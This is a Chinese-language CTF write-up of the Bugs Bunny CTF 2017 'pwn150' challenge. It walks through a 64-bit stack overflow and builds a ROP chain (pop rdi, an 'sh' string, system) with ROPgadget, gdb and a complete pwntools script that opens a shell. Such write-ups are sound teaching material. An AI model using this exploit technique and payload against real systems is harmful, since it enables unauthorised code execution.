ROP-bugs bunny ctf 2017-pwn150
1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 today(); 4 return Hello(); 5 }
打开IDA,发现main中调用了两个函数。
1 int today() 2 { 3 return system("/bin/date"); 4 }
在today中,调用了system函数。
1 signed __int64 Hello() 2 { 3 signed __int64 result; // rax 4 char s; // [rsp+0h] [rbp-50h] 5 FILE *v2; // [rsp+48h] [rbp-8h] 6 7 printf("Hello pwner, Send me your message here: "); 8 fflush(stdout); 9 fgets(&s, 0xC0, stdin); 10 v2 = fopen("bugsbunny.txt", "a"); 11 if ( v2 ) 12 { 13 fwrite(&s, 0x40uLL, 1uLL, v2); 14 result = 0LL; 15 } 16 else 17 { 18 puts("So shorry cant talk to you now :( "); 19 result = 1LL; 20 } 21 return result; 22 }
fgets函数虽然限制了最大的接收数据长度,但是因为s的地址距离RIP小于C0,所以存在栈溢出漏洞。
通过以上观察,知道程序存在栈溢出漏洞并且有system,所以可以利用栈溢出来ret到system来打开shell。问题是在today函数中,传递给system的参数并不是/bin/sh。那么就只能来自己构造了。
首先我想到的是,也许可以把程序中自带的“/bin/date”给修改成“/bin/sh”,然后再转回到today函数,就可以拿到shell了。
但是通过IDA和gdb观察后发现,存放bin/date的内存区域并没有W写入权限,于是这样做是不可行的。
既然修改bin/date不行,那么就得找一块内存去写入了,但是观察后发现,并没有适合的地方。
后来看了WP,明白了原来直接通过sh也可以直接打开shell,在这个程序中就恰好存在sh。
如何找到程序中的这个sh呢,总不能用眼一个个找吧。这里可以用IDA中的shift+f12来搜索,我觉着不好用。也可以用winhex之类的二进制查看器来搜索,不过搜索出来得自己再转换地址和筛选比较麻烦,也不好。
在这篇博客中有多种方式搜索pwn程序中的字符串,可以参考这篇博客------https://blog.csdn.net/weixin_43921239/article/details/105318835
ROPgadget --binary pwn150 --string 'sh'
在这里我感觉用ROPgadget是最方便快捷的。
到了这里,找到了system打开shell所必须的sh参数变量。然后就要把它传入到system里了。
我们可以看一下正常调用system时,是怎样把参数传递到system里的。和32位程序不同的是,它是把参数放在了rdi寄存器里。所以在覆盖RIP转到system之前,我们需要改变rdi里的值为我们上面找到的sh的地址。
这里就要用到语句pop rdi了,它可以把栈上的数据弹到rdi里。
ROPgadget --binary pwn150 | grep 'pop rdi'
这里再次运用ROPgadget,来找到这个指令的地址。
到这里,就能够写出payload了。
payload=pading+pop地址+sh地址+system地址
最后,我们需要确定pading填充字节的数量为多少,因为我们知道IDA中显示的s与ebp的距离并不总是准确的,因此需要以动态调试为主。
有意思的是,当在进行动态调试的时候,会卡在today函数中,无法再进行下面的调试。
原因是,today中的system()会调用一个子进程,而gdb默认会跟踪子进程。想要继续调试,必须得把gdb调成跟踪父进程。
1 show follow-fork-mode 2 set follow-fork-mode parent
发现程序可以正常调试了。
经过调试发现要填充的字节为88,过程就不赘述了。
1 #coding:utf-8 2 from pwn import * 3 io=process('./pwn150') 4 pading=b'A'*(0x50+8) 5 pos_system=p64(0x40075F) 6 pos_sh=p64(0x4003ef) 7 pos_poprdi=p64(0x400883) 8 payload=pading+pos_poprdi+pos_sh+pos_system 9 10 io.sendline(payload) 11 io.interactive()
最终写出脚本。
这里还有一个问题就是,这里的pos_system选择的是在text段的call地址。但是换成在plt段的system就不行了。按理来说是可以的才对。我搜索了几个老外的写的WP,发现他们有的就是用的这里plt中的地址,但是我完全复制黏贴他们的代码,自己跑的时候却也不行。也许是python版本的事吧。